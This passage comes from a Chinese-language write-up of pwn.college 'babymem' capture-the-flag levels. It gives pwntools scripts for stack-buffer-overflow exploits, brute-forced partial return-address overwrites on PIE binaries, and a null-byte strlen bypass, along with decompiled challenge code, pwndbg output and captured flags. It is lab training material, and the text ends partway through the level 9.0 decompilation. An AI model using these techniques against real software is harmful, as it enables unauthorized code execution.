        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_size = 0x38
fixed_offset = b&quot;\x0a&quot;
possible_bytes = [bytes([i]) for i in range(0x0C, 0x10C, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.recvuntil(b&quot;Payload size: &quot;)
        target.sendline(payload_size)
        target.recvuntil(b&quot;Send your payload&quot;)
        target.send(payload)

        response = target.recvall()

        return b&quot;You win!&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred: {e}&quot;)

        return False


while True:
    try:
        target = launch()

        payload = b&quot;A&quot; * padding_size
        payload += fixed_offset + random.choice(possible_bytes)
        log.info(f&quot;Trying payload: {payload.hex()}&quot;)

        if send_payload(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main loop: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{0svlAHsYG0L-ONps0VQ3ssICrbb.0VMwMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 7.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time in a position independent (PIE) binary!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上一题一样的，这里就不多赘述了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-7-1&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_size = 0x88
fixed_offset = b&quot;\x3d&quot;
possible_bytes = [bytes([i]) for i in range(0x08, 0x108, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.recvuntil(b&quot;Payload size: &quot;)
        target.sendline(payload_size)
        target.recvuntil(b&quot;Send your payload&quot;)
        target.send(payload)

        response = target.recvall()

        return b&quot;You win!&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred: {e}&quot;)


while True:
    try:
        target = launch()

        payload = b&quot;A&quot; * padding_size
        payload += fixed_offset + random.choice(possible_bytes)
        log.info(f&quot;Trying payload: {payload.hex()}&quot;)

        if send_payload(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main loop: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{EC4bj1hO9Oo1kCMvjnoAdmOg2ed.0lMwMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 8.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time in a position independent (PIE) binary with an additional check on your input.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-80h] BYREF
  int v7; // [rsp+1Ch] [rbp-64h]
  size_t size; // [rsp+28h] [rbp-58h] BYREF
  _QWORD v9[4]; // [rsp+30h] [rbp-50h] BYREF
  int v10; // [rsp+50h] [rbp-30h]
  char v11; // [rsp+54h] [rbp-2Ch]
  size_t v12; // [rsp+60h] [rbp-20h]
  int v13; // [rsp+6Ch] [rbp-14h]
  void *buf; // [rsp+70h] [rbp-10h]
  void *dest; // [rsp+78h] [rbp-8h]
  __int64 savedregs; // [rsp+80h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+88h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  memset(v9, 0, sizeof(v9));
  v10 = 0;
  v11 = 0;
  dest = v9;
  size = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, dest);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 37);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;In this level, there is no \&quot;win\&quot; variable.&quot;);
  puts(&quot;You will need to force the program to execute the win_authed() function&quot;);
  puts(&quot;by directly overflowing into the stored return address back to main,&quot;);
  printf(
    &quot;which is stored at %p, %d bytes after the start of your input buffer.\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)dest);
  printf(
    &quot;That means that you will need to input at least %d bytes (%d to fill the buffer,\n&quot;,
    rp_ - (_DWORD)dest + 8,
    37);
  printf(&quot;%d to fill other stuff stored between the buffer and the return address,\n&quot;, rp_ - (_DWORD)dest - 37);
  puts(&quot;and 8 that will overwrite the return address).\n&quot;);
  puts(&quot;We have disabled the following standard memory corruption mitigations for this challenge:&quot;);
  puts(&quot;- the canary is disabled, otherwise you would corrupt it before&quot;);
  puts(&quot;overwriting the return address, and the program would abort.&quot;);
  puts(&quot;Because the binary is position independent, you cannot know&quot;);
  puts(&quot;exactly where the win_authed() function is located.&quot;);
  puts(&quot;This means that it is not clear what should be written into the return address.\n&quot;);
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;size);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, size);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, dest);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)dest + size,
    size - 37);
  printf(&quot;Of these, you will overwrite %d bytes into the return address.\n&quot;, size + (_DWORD)dest - rp_);
  puts(&quot;If that number is greater than 8, you will overwrite the entire return address.\n&quot;);
  puts(&quot;Overwriting the entire return address is fine when we know&quot;);
  puts(&quot;the whole address, but here, we only really know the last three nibbles.&quot;);
  puts(&quot;These nibbles never change, because pages are aligned to 0x1000.&quot;);
  puts(&quot;This gives us a workaround: we can overwrite the least significant byte&quot;);
  puts(&quot;of the saved return address, which we can know from debugging the binary,&quot;);
  puts(&quot;to retarget the return to main to any instruction that shares the other 7 bytes.&quot;);
  puts(&quot;Since that last byte will be constant between executions (due to page alignment),&quot;);
  puts(&quot;this will always work.&quot;);
  puts(&quot;If the address we want to redirect execution to is a bit farther away from&quot;);
  puts(&quot;the saved return address, and we need to write two bytes, then one of those&quot;);
  puts(&quot;nibbles (the fourth least-significant one) will be a guess, and it will be&quot;);
  puts(&quot;incorrect 15 of 16 times.&quot;);
  puts(&quot;This is okay: we can just run our exploit a few times until it works&quot;);
  puts(&quot;(statistically, ~50% chance after 11 times and ~90% chance after 36 times).&quot;);
  puts(&quot;One caveat in this challenge is that the win_authed() function must first auth:&quot;);
  puts(&quot;it only lets you win if you provide it with the argument 0x1337.&quot;);
  puts(&quot;Speifically, the win_authed() function looks something like:&quot;);
  puts(&quot;    void win_authed(int token)&quot;);
  puts(&quot;    {&quot;);
  puts(&quot;      if (token != 0x1337) return;&quot;);
  puts(&quot;      puts(\&quot;You win! Here is your flag: \&quot;);&quot;);
  puts(&quot;      sendfile(1, open(\&quot;/flag\&quot;, 0), 0, 256);&quot;);
  puts(&quot;      puts(\&quot;\&quot;);&quot;);
  puts(&quot;    }&quot;);
  puts(byte_3F3B);
  puts(&quot;So how do you pass the check? There *is* a way, and we will cover it later,&quot;);
  puts(&quot;but for now, we will simply bypass it! You can overwrite the return address&quot;);
  puts(&quot;with *any* value (as long as it points to executable code), not just the start&quot;);
  puts(&quot;of functions. Let&apos;s overwrite past the token check in win!\n&quot;);
  puts(&quot;To do this, we will need to analyze the program with objdump, identify where&quot;);
  puts(&quot;the check is in the win_authed() function, find the address right after the check,&quot;);
  puts(&quot;and write that address over the saved return address.\n&quot;);
  puts(&quot;Go ahead and find this address now. When you&apos;re ready, input a buffer overflow&quot;);
  printf(
    &quot;that will overwrite the saved return address (at %p, %d bytes into the buffer)\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)dest);
  puts(&quot;with the correct value.\n&quot;);
  puts(&quot;This challenge is careful about reading your input: it will allocate a correctly-sized temporary&quot;);
  puts(&quot;buffer on the heap, and then copy the data over to the stack. Can you figure out a way to fool&quot;);
  puts(&quot;this technique and cause an overflow?&quot;);
  buf = malloc(size);
  if ( !buf )
    __assert_fail(&quot;tmp_input != 0&quot;, &quot;/challenge/babymem-level-8-0.c&quot;, 0xC0u, &quot;challenge&quot;);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, size);
  v13 = read(0, buf, size);
  puts(&quot;Checking length of received string...&quot;);
  v12 = strlen((const char *)buf);
  if ( v12 &amp;gt; 0x24 )
    __assert_fail(&quot;string_length &amp;lt; 37&quot;, &quot;/challenge/babymem-level-8-0.c&quot;, 0xC5u, &quot;challenge&quot;);
  printf(
    &quot;Passed! We should have enough space for all %d bytes of it on the stack. Copying all %d received bytes!\n&quot;,
    v12,
    v13);
  memcpy(dest, buf, v13);
  if ( v13 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v13);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, dest);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the address of win_authed() is %p.\n&quot;, win_authed);
  putchar(10);
  puts(&quot;If you have managed to overwrite the return address with the correct value,&quot;);
  puts(&quot;challenge() will jump straight to win_authed() when it returns.&quot;);
  printf(&quot;Let&apos;s try it now!\n\n&quot;);
  if ( (unsigned __int64)dest + v13 &amp;gt; rp_ + 2 )
  {
    puts(&quot;WARNING: You sent in too much data, and overwrote more than two bytes of the address.&quot;);
    puts(&quot;         This can still work, because I told you the correct address to use for&quot;);
    puts(&quot;         this execution, but you should not rely on that information.&quot;);
    puts(&quot;         You can solve this challenge by only overwriting two bytes!&quot;);
    puts(&quot;         &quot;);
  }
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们知道 &lt;code&gt;memcpy&lt;/code&gt; 会把我们输入的数据从 &lt;code&gt;buf&lt;/code&gt; 复制到 &lt;code&gt;dest&lt;/code&gt;，具体复制多少是根据 &lt;code&gt;v13&lt;/code&gt;，也就是 &lt;code&gt;read&lt;/code&gt; 到的大小决定的，那这就存在了缓冲出溢出问题了。所以思路是我们利用 &lt;code&gt;memcpy&lt;/code&gt; 覆盖返回地址控制执行流。&lt;/p&gt;
&lt;p&gt;内存我们正常分配就好，这里主要是得设法绕过 &lt;code&gt;v12 &amp;gt; 0x24&lt;/code&gt;，也就是 payload 不能大于 36 bytes，很显然这是不现实的，覆盖返回段地址至少要 0x58 bytes。&lt;/p&gt;
&lt;p&gt;注意到判断输入长度的函数是 &lt;code&gt;strlen&lt;/code&gt;。这个函数根据 Null 字符 &lt;code&gt;\x00&lt;/code&gt; 判断字符串是否结束。那么，如果我们在 payload 一开始就写一个 Null 字符，&lt;code&gt;strlen&lt;/code&gt; 就会认为字符串长度为零，成功绕过判断。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Breakpoint 1, 0x000055555555622f in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  0x7fffffffd160 ◂— 0
 RBX  0x7fffffffe308 —▸ 0x7fffffffe6ba ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-8-0&apos;
 RCX  0x55555555b2a0 ◂— 0xa /* &apos;\n&apos; */
 RDX  1
 RDI  0x7fffffffd160 ◂— 0
 RSI  0x55555555b2a0 ◂— 0xa /* &apos;\n&apos; */
 R8   0x64
 R9   0xffffffff
 R10  0
 R11  0x202
 R12  1
 R13  0
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7fffffffd1b0 —▸ 0x7fffffffe1e0 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2e0 ◂— 0
 RSP  0x7fffffffd130 —▸ 0x7fffffffd160 ◂— 0
 RIP  0x55555555622f (challenge+1522) ◂— call 0x5555555551d0
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x55555555622f &amp;lt;challenge+1522&amp;gt;    call   memcpy@plt                  &amp;lt;memcpy@plt&amp;gt;
        dest: 0x7fffffffd160 ◂— 0
        src: 0x55555555b2a0 ◂— 0xa /* &apos;\n&apos; */
        n: 1

   0x555555556234 &amp;lt;challenge+1527&amp;gt;    cmp    dword ptr [rbp - 0x14], 0
   0x555555556238 &amp;lt;challenge+1531&amp;gt;    jns    challenge+1577              &amp;lt;challenge+1577&amp;gt;

   0x55555555623a &amp;lt;challenge+1533&amp;gt;    call   __errno_location@plt        &amp;lt;__errno_location@plt&amp;gt;

   0x55555555623f &amp;lt;challenge+1538&amp;gt;    mov    eax, dword ptr [rax]
   0x555555556241 &amp;lt;challenge+1540&amp;gt;    mov    edi, eax
   0x555555556243 &amp;lt;challenge+1542&amp;gt;    call   strerror@plt                &amp;lt;strerror@plt&amp;gt;

   0x555555556248 &amp;lt;challenge+1547&amp;gt;    mov    rsi, rax
   0x55555555624b &amp;lt;challenge+1550&amp;gt;    lea    rdi, [rip + 0x21b6]     RDI =&amp;gt; 0x555555558408 ◂— &apos;ERROR: Failed to read input -- %s!\n&apos;
   0x555555556252 &amp;lt;challenge+1557&amp;gt;    mov    eax, 0                  EAX =&amp;gt; 0
   0x555555556257 &amp;lt;challenge+1562&amp;gt;    call   printf@plt                  &amp;lt;printf@plt&amp;gt;
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp     0x7fffffffd130 —▸ 0x7fffffffd160 ◂— 0
01:0008│-078     0x7fffffffd138 —▸ 0x7fffffffe318 —▸ 0x7fffffffe6f0 ◂— &apos;SHELL=/usr/bin/zsh&apos;
02:0010│-070     0x7fffffffd140 —▸ 0x7fffffffe308 —▸ 0x7fffffffe6ba ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-8-0&apos;
03:0018│-068     0x7fffffffd148 ◂— 0x1f7e3070b
04:0020│-060     0x7fffffffd150 —▸ 0x555555558770 ◂— 0x2023232300232323 /* &apos;###&apos; */
05:0028│-058     0x7fffffffd158 ◂— 0x6eb
06:0030│ rax rdi 0x7fffffffd160 ◂— 0
07:0038│-048     0x7fffffffd168 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0   0x55555555622f challenge+1522
   1   0x55555555649b main+198
   2   0x7ffff7dcae08
   3   0x7ffff7dcaecc __libc_start_main+140
   4   0x55555555526e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; i frame
Stack level 0, frame at 0x7fffffffd1c0:
 rip = 0x55555555622f in challenge; saved rip = 0x55555555649b
 called by frame at 0x7fffffffe1f0
 Arglist at 0x7fffffffd1b0, args:
 Locals at 0x7fffffffd1b0, Previous frame&apos;s sp is 0x7fffffffd1c0
 Saved registers:
  rbp at 0x7fffffffd1b0, rip at 0x7fffffffd1b8
pwndbg&amp;gt; dist 0x7fffffffd160 0x7fffffffd1b8
0x7fffffffd160-&amp;gt;0x7fffffffd1b8 is 0x58 bytes (0xb words)
pwndbg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-8-0&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
b *challenge+1421
b *challenge+1502
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


null = b&quot;\x00&quot;
padding = b&quot;&quot;.ljust(0x58 - 0x1, b&quot;A&quot;)
fixed_offset = b&quot;\x3c&quot;
possible_bytes = [bytes([i]) for i in range(0x0B, 0x10B, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.recvuntil(b&quot;Payload size: &quot;)
        target.sendline(payload_size)
        target.recvuntil(b&quot;Send your payload&quot;)
        target.send(payload)

        response = target.recvall()

        return b&quot;You win!&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred: {e}&quot;)


while True:
    try:
        target = launch(debug=False)

        payload = null + padding
        payload += fixed_offset + random.choice(possible_bytes)
        log.info(f&quot;Trying payload: {payload.hex()}&quot;)

        if send_payload(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main loop: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{82SpQ2oiZjETn254hnZR69O97tP.01MwMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 8.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time in a position independent (PIE) binary with an additional check on your input.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;不多说，参考上一题。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, log, pause, process, random, remote, gdb

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-8-1&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
b *challenge+259
b *challenge+326
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


null = b&quot;\x00&quot;
padding = b&quot;&quot;.ljust(0x68 - 0x1, b&quot;A&quot;)
fixed_offset = b&quot;\x5a&quot;
possible_bytes = [bytes([i]) for i in range(0x0F, 0x10F, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.recvuntil(b&quot;Payload size: &quot;)
        target.sendline(payload_size)
        target.recvuntil(b&quot;Send your payload&quot;)
        target.send(payload)

        response = target.recvall()

        return b&quot;You win!&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred: {e}&quot;)


while True:
    try:
        target = launch(debug=False)

        payload = null + padding
        payload += fixed_offset + random.choice(possible_bytes)
        log.info(f&quot;Trying payload: {payload.hex()}&quot;)

        if send_payload(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main loop: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{orn4FN_Dc8Po8bG2OX-G3dcj8Pr.0FNwMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 9.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time in a PIE binary with a stack canary. Be warned, this requires careful and clever payload construction!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int v3; // eax
  int *v4; // rax
  char *v5; // rax
  _QWORD v7[3]; // [rsp+0h] [rbp-80h] BYREF
  int v8; // [rsp+1Ch] [rbp-64h]
  int v9; // [rsp+24h] [rbp-5Ch]
  unsigned __int64 v10; // [rsp+28h] [rbp-58h] BYREF
  char *v11; // [rsp+30h] [rbp-50h]
  int *v12; // [rsp+38h] [rbp-48h]
  _QWORD v13[6]; // [rsp+40h] [rbp-40h] BYREF
  int v14; // [rsp+70h] [rbp-10h] BYREF
  unsigned __int64 v15; // [rsp+78h] [rbp-8h]
  __int64 savedregs; // [rsp+80h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+88h] [rbp+8h] BYREF

  v8 = a1;
  v7[2] = a2;
  v7[1] = a3;
  v15 = __readfsqword(0x28u);
  memset(v13, 0, sizeof(v13));
  v14 = 0;
  v11 = (char *)v13;
  v12 = &amp;amp;v14;
  v10 = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)v7;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v7) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, v11);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 48);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;In this level, there is no \&quot;win\&quot; variable.&quot;);
  puts(&quot;You will need to force the program to execute the win_authed() function&quot;);
  puts(&quot;by directly overflowing into the stored return address back to main,&quot;);
  printf(
    &quot;which is stored at %p, %d bytes after the start of your input buffer.\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)v11);
  printf(
    &quot;That means that you will need to input at least %d bytes (%d to fill the buffer,\n&quot;,
    rp_ - (_DWORD)v11 + 8,
    48);
  printf(&quot;%d to fill other stuff stored between the buffer and the return address,\n&quot;, rp_ - (_DWORD)v11 - 48);
  puts(&quot;and 8 that will overwrite the return address).\n&quot;);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  puts(&quot;While canaries are enabled, this program reads your input 1 byte at a time,&quot;);
  puts(&quot;tracking how many bytes have been read and the offset from your input buffer&quot;);
  puts(&quot;to read the byte to using a local variable on the stack.&quot;);
  puts(&quot;The code for doing this looks something like:&quot;);
  puts(&quot;    while (n &amp;lt; size) {&quot;);
  puts(&quot;      n += read(0, input + n, 1);&quot;);
  puts(&quot;    }&quot;);
  puts(&quot;As it turns out, you can use this local variable `n` to jump over the canary.&quot;);
  printf(&quot;Your input buffer is stored at %p, and this local variable `n`\n&quot;, v11);
  printf(&quot;is stored %d bytes after it at %p.\n\n&quot;, (_DWORD)v12 - (_DWORD)v11, v12);
  puts(&quot;When you overwrite `n`, you will change the program&apos;s understanding of&quot;);
  puts(&quot;how many bytes it has read in so far, and when it runs `read(0, input + n, 1)`&quot;);
  puts(&quot;again, it will read into an offset that you control.&quot;);
  puts(&quot;This will allow you to reposition the write *after* the canary, and write&quot;);
  puts(&quot;into the return address!\n&quot;);
  puts(&quot;The payload size is deceptively simple.&quot;);
  puts(&quot;You don&apos;t have to think about how many bytes you will end up skipping:&quot;);
  puts(&quot;with the while loop described above, the payload size marks the&quot;);
  puts(&quot;*right-most* byte that will be read into.&quot;);
  puts(&quot;As far as this challenge is concerned, there is no difference between bytes&quot;);
  puts(&quot;\&quot;skipped\&quot; by fiddling with `n` and bytes read in normally: the values&quot;);
  puts(&quot;of `n` and `size` are all that matters to determine when to stop reading,&quot;);
  puts(&quot;*not* the number of bytes actually read in.\n&quot;);
  puts(&quot;That being said, you *do* need to be careful on the sending side: don&apos;t send&quot;);
  puts(&quot;the bytes that you&apos;re effectively skipping!\n&quot;);
  puts(&quot;Because the binary is position independent, you cannot know&quot;);
  puts(&quot;exactly where the win_authed() function is located.&quot;);
  puts(&quot;This means that it is not clear what should be written into the return address.\n&quot;);
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;v10);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, v10);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, v11);
  printf(&quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;, &amp;amp;v11[v10], v10 - 48);
  printf(&quot;Of these, you will overwrite %d bytes into the return address.\n&quot;, v10 + (_DWORD)v11 - rp_);
  puts(&quot;If that number is greater than 8, you will overwrite the entire return address.\n&quot;);
  puts(&quot;Overwriting the entire return address is fine when we know&quot;);
  puts(&quot;the whole address, but here, we only really know the last three nibbles.&quot;);
  puts(&quot;These nibbles never change, because pages are aligned to 0x1000.&quot;);
  puts(&quot;This gives us a workaround: we can overwrite the least significant byte&quot;);
  puts(&quot;of the saved return address, which we can know from debugging the binary,&quot;);
  puts(&quot;to retarget the return to main to any instruction that shares the other 7 bytes.&quot;);
  puts(&quot;Since that last byte will be constant between executions (due to page alignment),&quot;);
  puts(&quot;this will always work.&quot;);
  puts(&quot;If the address we want to redirect execution to is a bit farther away from&quot;);
  puts(&quot;the saved return address, and we need to write two bytes, then one of those&quot;);
  puts(&quot;nibbles (the fourth least-significant one) will be a guess, and it will be&quot;);
  puts(&quot;incorrect 15 of 16 times.&quot;);
  puts(&quot;This is okay: we can just run our exploit a few times until it works&quot;);
  puts(&quot;(statistically, ~50% chance after 11 times and ~90% chance after 36 times).&quot;);
  puts(&quot;One caveat in this challenge is that the win_authed() function must first auth:&quot;);
  puts(&quot;it only lets you win if you provide it with the argument 0x1337.&quot;);
  puts(&quot;Speifically, the win_authed() function looks something like:&quot;);
  puts(&quot;    void win_authed(int token)&quot;);
  puts(&quot;    {&quot;);
  puts(&quot;      if (token != 0x1337) return;&quot;);
  puts(&quot;      puts(\&quot;You win! Here is your flag: \&quot;);&quot;);
